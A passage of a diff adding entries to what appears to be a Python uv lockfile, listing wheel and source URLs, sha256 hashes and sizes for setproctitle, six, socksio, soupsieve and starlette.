"https://files.pythonhosted.org/packages/d8/d4/725e6353935962d8bb12cbf7e7abba1d0d738c7f6935f90239d8e1ccf913/setproctitle-1.3.7-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:13fe37951dda1a45c35d77d06e3da5d90e4f875c4918a7312b3b4556cfa7ff64", size = 32030, upload-time = "2025-09-05T12:49:15.362Z" }, + { url = "https://files.pythonhosted.org/packages/67/24/e4677ae8e1cb0d549ab558b12db10c175a889be0974c589c428fece5433e/setproctitle-1.3.7-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:a05509cfb2059e5d2ddff701d38e474169e9ce2a298cf1b6fd5f3a213a553fe5", size = 33363, upload-time = "2025-09-05T12:49:16.829Z" }, + { url = "https://files.pythonhosted.org/packages/55/d4/69ce66e4373a48fdbb37489f3ded476bb393e27f514968c3a69a67343ae0/setproctitle-1.3.7-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:6da835e76ae18574859224a75db6e15c4c2aaa66d300a57efeaa4c97ca4c7381", size = 31508, upload-time = "2025-09-05T12:49:18.032Z" }, + { url = "https://files.pythonhosted.org/packages/4b/5a/42c1ed0e9665d068146a68326529b5686a1881c8b9197c2664db4baf6aeb/setproctitle-1.3.7-cp310-cp310-win32.whl", hash = "sha256:9e803d1b1e20240a93bac0bc1025363f7f80cb7eab67dfe21efc0686cc59ad7c", size = 12558, upload-time = "2025-09-05T12:49:19.742Z" }, + { url = "https://files.pythonhosted.org/packages/dc/fe/dd206cc19a25561921456f6cb12b405635319299b6f366e0bebe872abc18/setproctitle-1.3.7-cp310-cp310-win_amd64.whl", hash = "sha256:a97200acc6b64ec4cada52c2ecaf1fba1ef9429ce9c542f8a7db5bcaa9dcbd95", size = 13245, upload-time = "2025-09-05T12:49:21.023Z" }, + { url = "https://files.pythonhosted.org/packages/04/cd/1b7ba5cad635510720ce19d7122154df96a2387d2a74217be552887c93e5/setproctitle-1.3.7-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:a600eeb4145fb0ee6c287cb82a2884bd4ec5bbb076921e287039dcc7b7cc6dd0", size = 18085, upload-time = "2025-09-05T12:49:22.183Z" }, + { url = "https://files.pythonhosted.org/packages/8f/1a/b2da0a620490aae355f9d72072ac13e901a9fec809a6a24fc6493a8f3c35/setproctitle-1.3.7-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:97a090fed480471bb175689859532709e28c085087e344bca45cf318034f70c4", size = 13097, upload-time = "2025-09-05T12:49:23.322Z" }, + { url = "https://files.pythonhosted.org/packages/18/2e/bd03ff02432a181c1787f6fc2a678f53b7dacdd5ded69c318fe1619556e8/setproctitle-1.3.7-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:1607b963e7b53e24ec8a2cb4e0ab3ae591d7c6bf0a160feef0551da63452b37f", size = 32191, upload-time = "2025-09-05T12:49:24.567Z" }, + { url = "https://files.pythonhosted.org/packages/28/78/1e62fc0937a8549f2220445ed2175daacee9b6764c7963b16148119b016d/setproctitle-1.3.7-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a20fb1a3974e2dab857870cf874b325b8705605cb7e7e8bcbb915bca896f52a9", size = 33203, upload-time = "2025-09-05T12:49:25.871Z" }, + { url = "https://files.pythonhosted.org/packages/a0/3c/65edc65db3fa3df400cf13b05e9d41a3c77517b4839ce873aa6b4043184f/setproctitle-1.3.7-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f8d961bba676e07d77665204f36cffaa260f526e7b32d07ab3df6a2c1dfb44ba", size = 34963, upload-time = "2025-09-05T12:49:27.044Z" }, + { url = "https://files.pythonhosted.org/packages/a1/32/89157e3de997973e306e44152522385f428e16f92f3cf113461489e1e2ee/setproctitle-1.3.7-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:db0fd964fbd3a9f8999b502f65bd2e20883fdb5b1fae3a424e66db9a793ed307", size = 32398, upload-time = "2025-09-05T12:49:28.909Z" }, + { url = "https://files.pythonhosted.org/packages/4a/18/77a765a339ddf046844cb4513353d8e9dcd8183da9cdba6e078713e6b0b2/setproctitle-1.3.7-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:db116850fcf7cca19492030f8d3b4b6e231278e8fe097a043957d22ce1bdf3ee", size = 33657, upload-time = "2025-09-05T12:49:30.323Z" }, + { url = "https://files.pythonhosted.org/packages/6b/63/f0b6205c64d74d2a24a58644a38ec77bdbaa6afc13747e75973bf8904932/setproctitle-1.3.7-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:316664d8b24a5c91ee244460bdaf7a74a707adaa9e14fbe0dc0a53168bb9aba1", size = 31836, upload-time = "2025-09-05T12:49:32.309Z" }, + { url = "https://files.pythonhosted.org/packages/ba/51/e1277f9ba302f1a250bbd3eedbbee747a244b3cc682eb58fb9733968f6d8/setproctitle-1.3.7-cp311-cp311-win32.whl", hash = "sha256:b74774ca471c86c09b9d5037c8451fff06bb82cd320d26ae5a01c758088c0d5d", size = 12556, upload-time = "2025-09-05T12:49:33.529Z" }, + { url = "https://files.pythonhosted.org/packages/b6/7b/822a23f17e9003dfdee92cd72758441ca2a3680388da813a371b716fb07f/setproctitle-1.3.7-cp311-cp311-win_amd64.whl", hash = "sha256:acb9097213a8dd3410ed9f0dc147840e45ca9797785272928d4be3f0e69e3be4", size = 13243, upload-time = "2025-09-05T12:49:34.553Z" }, + { url = "https://files.pythonhosted.org/packages/fb/f0/2dc88e842077719d7384d86cc47403e5102810492b33680e7dadcee64cd8/setproctitle-1.3.7-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:2dc99aec591ab6126e636b11035a70991bc1ab7a261da428491a40b84376654e", size = 18049, upload-time = "2025-09-05T12:49:36.241Z" }, + { url = "https://files.pythonhosted.org/packages/f0/b4/50940504466689cda65680c9e9a1e518e5750c10490639fa687489ac7013/setproctitle-1.3.7-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:cdd8aa571b7aa39840fdbea620e308a19691ff595c3a10231e9ee830339dd798", size = 13079, upload-time = "2025-09-05T12:49:38.088Z" }, + { url = "https://files.pythonhosted.org/packages/d0/99/71630546b9395b095f4082be41165d1078204d1696c2d9baade3de3202d0/setproctitle-1.3.7-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:2906b6c7959cdb75f46159bf0acd8cc9906cf1361c9e1ded0d065fe8f9039629", size = 32932, upload-time = "2025-09-05T12:49:39.271Z" }, + { url = "https://files.pythonhosted.org/packages/50/22/cee06af4ffcfb0e8aba047bd44f5262e644199ae7527ae2c1f672b86495c/setproctitle-1.3.7-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6915964a6dda07920a1159321dcd6d94fc7fc526f815ca08a8063aeca3c204f1", size = 33736, upload-time = "2025-09-05T12:49:40.565Z" }, + { url = "https://files.pythonhosted.org/packages/5c/00/a5949a8bb06ef5e7df214fc393bb2fb6aedf0479b17214e57750dfdd0f24/setproctitle-1.3.7-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:cff72899861c765bd4021d1ff1c68d60edc129711a2fdba77f9cb69ef726a8b6", size = 35605, upload-time = "2025-09-05T12:49:42.362Z" }, + { url = "https://files.pythonhosted.org/packages/b0/3a/50caca532a9343828e3bf5778c7a84d6c737a249b1796d50dd680290594d/setproctitle-1.3.7-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:b7cb05bd446687ff816a3aaaf831047fc4c364feff7ada94a66024f1367b448c", size = 33143, upload-time = "2025-09-05T12:49:43.515Z" }, + { url = "https://files.pythonhosted.org/packages/ca/14/b843a251296ce55e2e17c017d6b9f11ce0d3d070e9265de4ecad948b913d/setproctitle-1.3.7-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:3a57b9a00de8cae7e2a1f7b9f0c2ac7b69372159e16a7708aa2f38f9e5cc987a", size = 34434, upload-time = "2025-09-05T12:49:45.31Z" }, + { url = "https://files.pythonhosted.org/packages/c8/b7/06145c238c0a6d2c4bc881f8be230bb9f36d2bf51aff7bddcb796d5eed67/setproctitle-1.3.7-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:d8828b356114f6b308b04afe398ed93803d7fca4a955dd3abe84430e28d33739", size = 32795, upload-time = "2025-09-05T12:49:46.419Z" }, + { url = "https://files.pythonhosted.org/packages/ef/dc/ef76a81fac9bf27b84ed23df19c1f67391a753eed6e3c2254ebcb5133f56/setproctitle-1.3.7-cp312-cp312-win32.whl", hash = "sha256:b0304f905efc845829ac2bc791ddebb976db2885f6171f4a3de678d7ee3f7c9f", size = 12552, upload-time = "2025-09-05T12:49:47.635Z" }, + { url = "https://files.pythonhosted.org/packages/e2/5b/a9fe517912cd6e28cf43a212b80cb679ff179a91b623138a99796d7d18a0/setproctitle-1.3.7-cp312-cp312-win_amd64.whl", hash = "sha256:9888ceb4faea3116cf02a920ff00bfbc8cc899743e4b4ac914b03625bdc3c300", size = 13247, upload-time = "2025-09-05T12:49:49.16Z" }, + { url = "https://files.pythonhosted.org/packages/5d/2f/fcedcade3b307a391b6e17c774c6261a7166aed641aee00ed2aad96c63ce/setproctitle-1.3.7-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:c3736b2a423146b5e62230502e47e08e68282ff3b69bcfe08a322bee73407922", size = 18047, upload-time = "2025-09-05T12:49:50.271Z" }, + { url = "https://files.pythonhosted.org/packages/23/ae/afc141ca9631350d0a80b8f287aac79a76f26b6af28fd8bf92dae70dc2c5/setproctitle-1.3.7-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:3384e682b158d569e85a51cfbde2afd1ab57ecf93ea6651fe198d0ba451196ee", size = 13073, upload-time = "2025-09-05T12:49:51.46Z" }, + { url = "https://files.pythonhosted.org/packages/87/ed/0a4f00315bc02510395b95eec3d4aa77c07192ee79f0baae77ea7b9603d8/setproctitle-1.3.7-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:0564a936ea687cd24dffcea35903e2a20962aa6ac20e61dd3a207652401492dd", size = 33284, upload-time = "2025-09-05T12:49:52.741Z" }, + { url = "https://files.pythonhosted.org/packages/fc/e4/adf3c4c0a2173cb7920dc9df710bcc67e9bcdbf377e243b7a962dc31a51a/setproctitle-1.3.7-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a5d1cb3f81531f0eb40e13246b679a1bdb58762b170303463cb06ecc296f26d0", size = 34104, upload-time = "2025-09-05T12:49:54.416Z" }, + { url = "https://files.pythonhosted.org/packages/52/4f/6daf66394152756664257180439d37047aa9a1cfaa5e4f5ed35e93d1dc06/setproctitle-1.3.7-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a7d159e7345f343b44330cbba9194169b8590cb13dae940da47aa36a72aa9929", size = 35982, upload-time = "2025-09-05T12:49:56.295Z" }, + { url = "https://files.pythonhosted.org/packages/1b/62/f2c0595403cf915db031f346b0e3b2c0096050e90e0be658a64f44f4278a/setproctitle-1.3.7-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:0b5074649797fd07c72ca1f6bff0406f4a42e1194faac03ecaab765ce605866f", size = 33150, upload-time = "2025-09-05T12:49:58.025Z" }, + { url = "https://files.pythonhosted.org/packages/a0/29/10dd41cde849fb2f9b626c846b7ea30c99c81a18a5037a45cc4ba33c19a7/setproctitle-1.3.7-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:61e96febced3f61b766115381d97a21a6265a0f29188a791f6df7ed777aef698", size = 34463, upload-time = "2025-09-05T12:49:59.424Z" }, + { url = "https://files.pythonhosted.org/packages/71/3c/cedd8eccfaf15fb73a2c20525b68c9477518917c9437737fa0fda91e378f/setproctitle-1.3.7-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:047138279f9463f06b858e579cc79580fbf7a04554d24e6bddf8fe5dddbe3d4c", size = 32848, upload-time = "2025-09-05T12:50:01.107Z" }, + { url = "https://files.pythonhosted.org/packages/d1/3e/0a0e27d1c9926fecccfd1f91796c244416c70bf6bca448d988638faea81d/setproctitle-1.3.7-cp313-cp313-win32.whl", hash = "sha256:7f47accafac7fe6535ba8ba9efd59df9d84a6214565108d0ebb1199119c9cbbd", size = 12544, upload-time = "2025-09-05T12:50:15.81Z" }, + { url = "https://files.pythonhosted.org/packages/36/1b/6bf4cb7acbbd5c846ede1c3f4d6b4ee52744d402e43546826da065ff2ab7/setproctitle-1.3.7-cp313-cp313-win_amd64.whl", hash = "sha256:fe5ca35aeec6dc50cabab9bf2d12fbc9067eede7ff4fe92b8f5b99d92e21263f", size = 13235, upload-time = "2025-09-05T12:50:16.89Z" }, + { url = "https://files.pythonhosted.org/packages/e6/a4/d588d3497d4714750e3eaf269e9e8985449203d82b16b933c39bd3fc52a1/setproctitle-1.3.7-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:10e92915c4b3086b1586933a36faf4f92f903c5554f3c34102d18c7d3f5378e9", size = 18058, upload-time = "2025-09-05T12:50:02.501Z" }, + { url = "https://files.pythonhosted.org/packages/05/77/7637f7682322a7244e07c373881c7e982567e2cb1dd2f31bd31481e45500/setproctitle-1.3.7-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:de879e9c2eab637f34b1a14c4da1e030c12658cdc69ee1b3e5be81b380163ce5", size = 13072, upload-time = "2025-09-05T12:50:03.601Z" }, + { url = "https://files.pythonhosted.org/packages/52/09/f366eca0973cfbac1470068d1313fa3fe3de4a594683385204ec7f1c4101/setproctitle-1.3.7-cp313-cp313t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:c18246d88e227a5b16248687514f95642505000442165f4b7db354d39d0e4c29", size = 34490, upload-time = "2025-09-05T12:50:04.948Z" }, + { url = "https://files.pythonhosted.org/packages/71/36/611fc2ed149fdea17c3677e1d0df30d8186eef9562acc248682b91312706/setproctitle-1.3.7-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7081f193dab22df2c36f9fc6d113f3793f83c27891af8fe30c64d89d9a37e152", size = 35267, upload-time = "2025-09-05T12:50:06.015Z" }, + { url = "https://files.pythonhosted.org/packages/88/a4/64e77d0671446bd5a5554387b69e1efd915274686844bea733714c828813/setproctitle-1.3.7-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:9cc9b901ce129350637426a89cfd650066a4adc6899e47822e2478a74023ff7c", size = 37376, upload-time = "2025-09-05T12:50:07.484Z" }, + { url = "https://files.pythonhosted.org/packages/89/bc/ad9c664fe524fb4a4b2d3663661a5c63453ce851736171e454fa2cdec35c/setproctitle-1.3.7-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:80e177eff2d1ec172188d0d7fd9694f8e43d3aab76a6f5f929bee7bf7894e98b", size = 33963, upload-time = "2025-09-05T12:50:09.056Z" }, + { url = "https://files.pythonhosted.org/packages/ab/01/a36de7caf2d90c4c28678da1466b47495cbbad43badb4e982d8db8167ed4/setproctitle-1.3.7-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:23e520776c445478a67ee71b2a3c1ffdafbe1f9f677239e03d7e2cc635954e18", size = 35550, upload-time = "2025-09-05T12:50:10.791Z" }, + { url = "https://files.pythonhosted.org/packages/dd/68/17e8aea0ed5ebc17fbf03ed2562bfab277c280e3625850c38d92a7b5fcd9/setproctitle-1.3.7-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:5fa1953126a3b9bd47049d58c51b9dac72e78ed120459bd3aceb1bacee72357c", size = 33727, upload-time = "2025-09-05T12:50:12.032Z" }, + { url = "https://files.pythonhosted.org/packages/b2/33/90a3bf43fe3a2242b4618aa799c672270250b5780667898f30663fd94993/setproctitle-1.3.7-cp313-cp313t-win32.whl", hash = "sha256:4a5e212bf438a4dbeece763f4962ad472c6008ff6702e230b4f16a037e2f6f29", size = 12549, upload-time = "2025-09-05T12:50:13.074Z" }, + { url = "https://files.pythonhosted.org/packages/0b/0e/50d1f07f3032e1f23d814ad6462bc0a138f369967c72494286b8a5228e40/setproctitle-1.3.7-cp313-cp313t-win_amd64.whl", hash = "sha256:cf2727b733e90b4f874bac53e3092aa0413fe1ea6d4f153f01207e6ce65034d9", size = 13243, upload-time = "2025-09-05T12:50:14.146Z" }, + { url = "https://files.pythonhosted.org/packages/89/c7/43ac3a98414f91d1b86a276bc2f799ad0b4b010e08497a95750d5bc42803/setproctitle-1.3.7-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:80c36c6a87ff72eabf621d0c79b66f3bdd0ecc79e873c1e9f0651ee8bf215c63", size = 18052, upload-time = "2025-09-05T12:50:17.928Z" }, + { url = "https://files.pythonhosted.org/packages/cd/2c/dc258600a25e1a1f04948073826bebc55e18dbd99dc65a576277a82146fa/setproctitle-1.3.7-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:b53602371a52b91c80aaf578b5ada29d311d12b8a69c0c17fbc35b76a1fd4f2e", size = 13071, upload-time = "2025-09-05T12:50:19.061Z" }, + { url = "https://files.pythonhosted.org/packages/ab/26/8e3bb082992f19823d831f3d62a89409deb6092e72fc6940962983ffc94f/setproctitle-1.3.7-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:fcb966a6c57cf07cc9448321a08f3be6b11b7635be502669bc1d8745115d7e7f", size = 33180, upload-time = "2025-09-05T12:50:20.395Z" }, + { url = "https://files.pythonhosted.org/packages/f1/af/ae692a20276d1159dd0cf77b0bcf92cbb954b965655eb4a69672099bb214/setproctitle-1.3.7-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:46178672599b940368d769474fe13ecef1b587d58bb438ea72b9987f74c56ea5", size = 34043, upload-time = "2025-09-05T12:50:22.454Z" }, + { url = "https://files.pythonhosted.org/packages/34/b2/6a092076324dd4dac1a6d38482bedebbff5cf34ef29f58585ec76e47bc9d/setproctitle-1.3.7-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:7f9e9e3ff135cbcc3edd2f4cf29b139f4aca040d931573102742db70ff428c17", size = 35892, upload-time = "2025-09-05T12:50:23.937Z" }, + { url = "https://files.pythonhosted.org/packages/1c/1a/8836b9f28cee32859ac36c3df85aa03e1ff4598d23ea17ca2e96b5845a8f/setproctitle-1.3.7-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:14c7eba8d90c93b0e79c01f0bd92a37b61983c27d6d7d5a3b5defd599113d60e", size = 32898, upload-time = "2025-09-05T12:50:25.617Z" }, + { url = "https://files.pythonhosted.org/packages/ef/22/8fabdc24baf42defb599714799d8445fe3ae987ec425a26ec8e80ea38f8e/setproctitle-1.3.7-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:9e64e98077fb30b6cf98073d6c439cd91deb8ebbf8fc62d9dbf52bd38b0c6ac0", size = 34308, upload-time = "2025-09-05T12:50:26.827Z" }, + { url = "https://files.pythonhosted.org/packages/15/1b/b9bee9de6c8cdcb3b3a6cb0b3e773afdb86bbbc1665a3bfa424a4294fda2/setproctitle-1.3.7-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:b91387cc0f02a00ac95dcd93f066242d3cca10ff9e6153de7ee07069c6f0f7c8", size = 32536, upload-time = "2025-09-05T12:50:28.5Z" }, + { url = "https://files.pythonhosted.org/packages/37/0c/75e5f2685a5e3eda0b39a8b158d6d8895d6daf3ba86dec9e3ba021510272/setproctitle-1.3.7-cp314-cp314-win32.whl", hash = "sha256:52b054a61c99d1b72fba58b7f5486e04b20fefc6961cd76722b424c187f362ed", size = 12731, upload-time = "2025-09-05T12:50:43.955Z" }, + { url = "https://files.pythonhosted.org/packages/d2/ae/acddbce90d1361e1786e1fb421bc25baeb0c22ef244ee5d0176511769ec8/setproctitle-1.3.7-cp314-cp314-win_amd64.whl", hash = "sha256:5818e4080ac04da1851b3ec71e8a0f64e3748bf9849045180566d8b736702416", size = 13464, upload-time = "2025-09-05T12:50:45.057Z" }, + { url = "https://files.pythonhosted.org/packages/01/6d/20886c8ff2e6d85e3cabadab6aab9bb90acaf1a5cfcb04d633f8d61b2626/setproctitle-1.3.7-cp314-cp314t-macosx_10_13_universal2.whl", hash = "sha256:6fc87caf9e323ac426910306c3e5d3205cd9f8dcac06d233fcafe9337f0928a3", size = 18062, upload-time = "2025-09-05T12:50:29.78Z" }, + { url = "https://files.pythonhosted.org/packages/9a/60/26dfc5f198715f1343b95c2f7a1c16ae9ffa45bd89ffd45a60ed258d24ea/setproctitle-1.3.7-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:6134c63853d87a4897ba7d5cc0e16abfa687f6c66fc09f262bb70d67718f2309", size = 13075, upload-time = "2025-09-05T12:50:31.604Z" }, + { url = "https://files.pythonhosted.org/packages/21/9c/980b01f50d51345dd513047e3ba9e96468134b9181319093e61db1c47188/setproctitle-1.3.7-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:1403d2abfd32790b6369916e2313dffbe87d6b11dca5bbd898981bcde48e7a2b", size = 34744, upload-time = "2025-09-05T12:50:32.777Z" }, + { url = "https://files.pythonhosted.org/packages/86/b4/82cd0c86e6d1c4538e1a7eb908c7517721513b801dff4ba3f98ef816a240/setproctitle-1.3.7-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e7c5bfe4228ea22373e3025965d1a4116097e555ee3436044f5c954a5e63ac45", size = 35589, upload-time = "2025-09-05T12:50:34.13Z" }, + { url = "https://files.pythonhosted.org/packages/8a/4f/9f6b2a7417fd45673037554021c888b31247f7594ff4bd2239918c5cd6d0/setproctitle-1.3.7-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:585edf25e54e21a94ccb0fe81ad32b9196b69ebc4fc25f81da81fb8a50cca9e4", size = 37698, upload-time = "2025-09-05T12:50:35.524Z" }, + { url = "https://files.pythonhosted.org/packages/20/92/927b7d4744aac214d149c892cb5fa6dc6f49cfa040cb2b0a844acd63dcaf/setproctitle-1.3.7-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:96c38cdeef9036eb2724c2210e8d0b93224e709af68c435d46a4733a3675fee1", size = 34201, upload-time = "2025-09-05T12:50:36.697Z" }, + { url = "https://files.pythonhosted.org/packages/0a/0c/fd4901db5ba4b9d9013e62f61d9c18d52290497f956745cd3e91b0d80f90/setproctitle-1.3.7-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:45e3ef48350abb49cf937d0a8ba15e42cee1e5ae13ca41a77c66d1abc27a5070", size = 35801, upload-time = "2025-09-05T12:50:38.314Z" }, + { url = "https://files.pythonhosted.org/packages/e7/e3/54b496ac724e60e61cc3447f02690105901ca6d90da0377dffe49ff99fc7/setproctitle-1.3.7-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:1fae595d032b30dab4d659bece20debd202229fce12b55abab978b7f30783d73", size = 33958, upload-time = "2025-09-05T12:50:39.841Z" }, + { url = "https://files.pythonhosted.org/packages/ea/a8/c84bb045ebf8c6fdc7f7532319e86f8380d14bbd3084e6348df56bdfe6fd/setproctitle-1.3.7-cp314-cp314t-win32.whl", hash = "sha256:02432f26f5d1329ab22279ff863c83589894977063f59e6c4b4845804a08f8c2", size = 12745, upload-time = "2025-09-05T12:50:41.377Z" }, + { url = "https://files.pythonhosted.org/packages/08/b6/3a5a4f9952972791a9114ac01dfc123f0df79903577a3e0a7a404a695586/setproctitle-1.3.7-cp314-cp314t-win_amd64.whl", hash = "sha256:cbc388e3d86da1f766d8fc2e12682e446064c01cea9f88a88647cfe7c011de6a", size = 13469, upload-time = "2025-09-05T12:50:42.67Z" }, + { url = "https://files.pythonhosted.org/packages/34/8a/aff5506ce89bc3168cb492b18ba45573158d528184e8a9759a05a09088a9/setproctitle-1.3.7-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:eb440c5644a448e6203935ed60466ec8d0df7278cd22dc6cf782d07911bcbea6", size = 12654, upload-time = "2025-09-05T12:51:17.141Z" }, + { url = "https://files.pythonhosted.org/packages/41/89/5b6f2faedd6ced3d3c085a5efbd91380fb1f61f4c12bc42acad37932f4e9/setproctitle-1.3.7-pp310-pypy310_pp73-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:502b902a0e4c69031b87870ff4986c290ebbb12d6038a70639f09c331b18efb2", size = 14284, upload-time = "2025-09-05T12:51:18.393Z" }, + { url = "https://files.pythonhosted.org/packages/0a/c0/4312fed3ca393a29589603fd48f17937b4ed0638b923bac75a728382e730/setproctitle-1.3.7-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:f6f268caeabb37ccd824d749e7ce0ec6337c4ed954adba33ec0d90cc46b0ab78", size = 13282, upload-time = "2025-09-05T12:51:19.703Z" }, + { url = "https://files.pythonhosted.org/packages/c3/5b/5e1c117ac84e3cefcf8d7a7f6b2461795a87e20869da065a5c087149060b/setproctitle-1.3.7-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:b1cac6a4b0252b8811d60b6d8d0f157c0fdfed379ac89c25a914e6346cf355a1", size = 12587, upload-time = "2025-09-05T12:51:21.195Z" }, + { url = "https://files.pythonhosted.org/packages/73/02/b9eadc226195dcfa90eed37afe56b5dd6fa2f0e5220ab8b7867b8862b926/setproctitle-1.3.7-pp311-pypy311_pp73-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:f1704c9e041f2b1dc38f5be4552e141e1432fba3dd52c72eeffd5bc2db04dc65", size = 14286, upload-time = "2025-09-05T12:51:22.61Z" }, + { url = "https://files.pythonhosted.org/packages/28/26/1be1d2a53c2a91ec48fa2ff4a409b395f836798adf194d99de9c059419ea/setproctitle-1.3.7-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:b08b61976ffa548bd5349ce54404bf6b2d51bd74d4f1b241ed1b0f25bce09c3a", size = 13282, upload-time = "2025-09-05T12:51:24.094Z" }, +] + +[[package]] +name = "six" +version = "1.17.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/94/e7/b2c673351809dca68a0e064b6af791aa332cf192da575fd474ed7d6f16a2/six-1.17.0.tar.gz", hash = "sha256:ff70335d468e7eb6ec65b95b99d3a2836546063f63acc5171de367e834932a81", size = 34031, upload-time = "2024-12-04T17:35:28.174Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b7/ce/149a00dd41f10bc29e5921b496af8b574d8413afcd5e30dfa0ed46c2cc5e/six-1.17.0-py2.py3-none-any.whl", hash = "sha256:4721f391ed90541fddacab5acf947aa0d3dc7d27b2e1e8eda2be8970586c3274", size = 11050, upload-time = "2024-12-04T17:35:26.475Z" }, +] + +[[package]] +name = "socksio" +version = "1.0.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f8/5c/48a7d9495be3d1c651198fd99dbb6ce190e2274d0f28b9051307bdec6b85/socksio-1.0.0.tar.gz", hash = "sha256:f88beb3da5b5c38b9890469de67d0cb0f9d494b78b106ca1845f96c10b91c4ac", size = 19055, upload-time = "2020-04-17T15:50:34.664Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/37/c3/6eeb6034408dac0fa653d126c9204ade96b819c936e136c5e8a6897eee9c/socksio-1.0.0-py3-none-any.whl", hash = "sha256:95dc1f15f9b34e8d7b16f06d74b8ccf48f609af32ab33c608d08761c5dcbb1f3", size = 12763, upload-time = "2020-04-17T15:50:31.878Z" }, +] + +[[package]] +name = "soupsieve" +version = "2.8.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/7b/ae/2d9c981590ed9999a0d91755b47fc74f74de286b0f5cee14c9269041e6c4/soupsieve-2.8.3.tar.gz", hash = "sha256:3267f1eeea4251fb42728b6dfb746edc9acaffc4a45b27e19450b676586e8349", size = 118627, upload-time = "2026-01-20T04:27:02.457Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/46/2c/1462b1d0a634697ae9e55b3cecdcb64788e8b7d63f54d923fcd0bb140aed/soupsieve-2.8.3-py3-none-any.whl", hash = "sha256:ed64f2ba4eebeab06cc4962affce381647455978ffc1e36bb79a545b91f45a95", size = 37016, upload-time = "2026-01-20T04:27:01.012Z" }, +] + +[[package]] +name = "starlette" +version = "0.52.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "anyio" }, + { name = "typing-extensions", marker = "python_full_version < '3.13'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/c4/68/79977123bb7be889ad680d79a40f339082c1978b5cfcf62c2d8d196873ac/starlette-0.52.1.tar.gz", hash = "sha256:834edd1b0a23167694292e94f597773bc3f89f362be6effee198165a35d62933", size = 2653702, upload-time = "2026-01-18T13:34:11.062Z" } +wheels = [ + { url = 